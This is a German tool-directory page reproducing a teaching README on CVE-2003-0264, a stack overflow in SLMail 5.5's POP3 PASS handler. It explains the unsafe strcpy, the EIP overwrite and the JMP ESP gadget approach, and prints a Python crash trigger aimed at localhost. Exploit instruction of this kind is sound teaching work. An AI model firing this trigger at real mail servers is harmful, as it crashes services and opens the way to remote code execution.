Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2003-0264 — Klassischer stack-basierter Pufferüberlauf in SLMail 5.1, der zeigt, wie frühe Mailserver durch übergroße SMTP- und POP3-Befehle kompromittiert werden konnten. | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2003-0264
SchwachstellenanalyseExploitationReverse EngineeringShellcodeDebuggerFuzzingPenetrationstestsLernen & BildungPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Binary-Exploitation
GitHubthemalwareguardian/cve-2003-0264

CVE-2003-0264

Klassischer stack-basierter Pufferüberlauf in SLMail 5.1, der zeigt, wie frühe Mailserver durch übergroße SMTP- und POP3-Befehle kompromittiert werden konnten.

Repository anzeigen
1vor 5 MonatenNoch nicht geprüft

🐞 CVE-2003-0264: SLMail 5.5 - Stack-basierter Pufferüberlauf

Klassischer Stack-basierter Pufferüberlauf in SLMail 5.5, der zeigt, wie frühe Mailserver durch überdimensionierte SMTP- und POP3-Befehle kompromittiert werden konnten.




📑 Inhaltsverzeichnis

  • Warum dieses Repository existiert
  • Warum diese Schwachstelle interessant ist
  • Kontext und betroffene Software
  • Über die Schwachstelle
  • Auslösen des Absturzes
  • Ausnutzung



🎓 Warum dieses Repository existiert

Dieses Repository ist Teil des Materials, das ich beim Unterrichten der Ausnutzung von Speicherfehlern verwende (neben meiner regulären Arbeit unterrichte ich auch in verschiedenen Cybersicherheitskursen, wo ich helfe, die nächste Generation von Reverse Engineers auszubilden).

CVE-2003-0264 ist einer der ersten Fälle, die ich vorstelle, wenn ich die Ausnutzung von einfachen Stack-basierten Pufferüberläufen über ein Netzwerkprotokoll unterrichte. Er ist sauber, gut dokumentiert, und der Ausnutzungspfad ist direkt, ohne SEH, ohne Egghunter, ohne Platzbeschränkungen. Der Student sendet eine Nutzlast, überschreibt EIP, landet auf einem JMP ESP-Gadget und erhält eine Shell. Diese Klarheit ist genau das, was ihn als Ausgangspunkt nützlich macht.




💡 Warum diese Schwachstelle interessant ist

SLMail 5.5 ist ein veralteter Windows-Mailserver. Die Schwachstelle befindet sich im POP3-Dienst, genauer gesagt im PASS-Befehls-Handler, der die Benutzereingabe ohne Längenprüfung direkt in einen Stack-Puffer fester Größe kopiert. Was diesen Fall für den Unterricht besonders nützlich macht, ist die geringe Anzahl an beweglichen Teilen:

  • Keine Authentifizierung erforderlich, um den Absturz auszulösen. Der Überlauf erfolgt, bevor eine Überprüfung der Anmeldedaten stattfindet. Als Teil des POP3-Protokolls wird zuerst ein USER-Befehl gesendet, aber der eigentliche Absturz geschieht im PASS-Handler, unabhängig davon, ob die Anmeldedaten gültig sind.
  • Direkte EIP-Überschreibung. Es gibt keine SEH-Kette, keine Heap-Korruption, keine mehrstufige Ausnutzung. Die gespeicherte Rücksprungadresse wird direkt überschrieben und die Ausführung auf den vom Angreifer kontrollierten Stack umgeleitet.
  • Reichlich Platz für Shellcode. Der Puffer ist groß genug, um nach der EIP-Überschreibung eine Standard-Reverse-Shell-Nutzlast ohne Größenbeschränkungen aufzunehmen.
  • Ein zuverlässiges Gadget in einem Modul ohne ASLR. SLMFC.dll, eine mit SLMail ausgelieferte Bibliothek, wurde ohne ASLR, SafeSEH oder CFG kompiliert. Ihre Adressen sind über Neustarts hinweg fest, was die Wiederverwendung von Gadgets unkompliziert macht.

Diese Kombination – netzwerkerreichbar, nicht authentifiziert, direkte EIP-Überschreibung, keine modernen Schutzmaßnahmen – macht CVE-2003-0264 zu einem der saubersten realen Beispiele eines einfachen Stack-Überlaufs, der noch auf modernen Windows-Versionen läuft.




🔍 Kontext und betroffene Software

SLMail ist ein Windows-Mailserver, der SMTP-, POP3- und Verwaltungsdienste bereitstellt. Der POP3-Dienst lauscht auf TCP-Port 110 und verarbeitet Standardbefehle zum Abrufen von E-Mails. Die Schwachstelle befindet sich im PASS-Befehls-Handler, der das von einem verbindenden Client gesendete Passwortargument verarbeitet.

Tool herunterladen

Wichtige technische Details:

  • Schwachstellentyp: Stack-basierter Pufferüberlauf
  • Betroffene Version: SLMail 5.5 und früher
  • Betroffener Endpunkt: POP3 PASS-Befehl
  • Betroffene Komponente: PASS-Befehls-Handler
  • Erforderliche Authentifizierung: Nein
  • Auswirkung: Remote-Codeausführung



⚠️ Über die Schwachstelle

Der POP3-Dienst von SLMail verarbeitet den PASS-Befehl, indem er das gelieferte Passwortargument mit einer unsicheren Funktion ohne Längenprüfung in einen Stack-Puffer fester Größe kopiert. Eine vereinfachte Version der anfälligen Logik sieht so aus:

root@kitploit:~
char password_buffer[256];

strcpy(password_buffer, pass_argument);

Das Senden einer ausreichend langen Zeichenkette als PASS-Argument führt dazu, dass die Kopie über das Ende des Puffers hinaus schreibt, den Stack beeinträchtigt und schließlich die gespeicherte Rücksprungadresse überschreibt. Wenn die Funktion zurückkehrt, lädt die CPU den vom Angreifer kontrollierten Wert vom Stack in EIP und springt dorthin.




💥 Auslösen des Absturzes

Der Absturz kann reproduziert werden, indem ein übermäßig großes PASS-Argument über POP3 gesendet wird. Es sind keine gültigen Anmeldedaten erforderlich. Beispiel mit Python:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 110

payload = b"A" * 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)

s.send(b"USER username\r\n")
s.recv(1024)

s.send(b"PASS " + payload + b"\r\n")
s.close()

Wenn unter einem Debugger ausgeführt, zeigt der Absturz eine mit vom Benutzer kontrollierten Daten überschriebene EIP:

root@kitploit:~
EIP = 41414141

was bestätigt, dass die gespeicherte Rücksprungadresse durch den Überlauf beschädigt wurde.




💣 Ausnutzung

Das Ziel dieses Repositorys ist es nicht nur, den Absturz zu demonstrieren, sondern den gesamten Ausnutzungsprozess Schritt für Schritt durchzugehen, vom Fuzzing bis zu einer funktionierenden Reverse-Shell.

Um die Haupt-README sauber zu halten, befinden sich die detaillierten Ausnutzungsnotizen, Skripte und Debugger-Schritte im Ordner Vulnerability 📂 dieses Repositorys.

Dort finden Sie den vollständigen Workflow, der zur Ausnutzung dieser CVE verwendet wurde, einschließlich:

  • Fuzzing des PASS-Befehls zur Identifizierung des Absturzes.
  • Offset-Ermittlung zur Lokalisierung der genauen Position von EIP auf dem Stack.
  • Analyse schlechter Zeichen zur Identifizierung von Bytes, die die Nutzlast beeinträchtigen.
  • Lokalisierung eines JMP ESP-Gadgets in SLMFC.dll, einem Modul, das ohne ASLR oder SafeSEH kompiliert wurde.
  • Platzierung und Ausführung von Shellcode.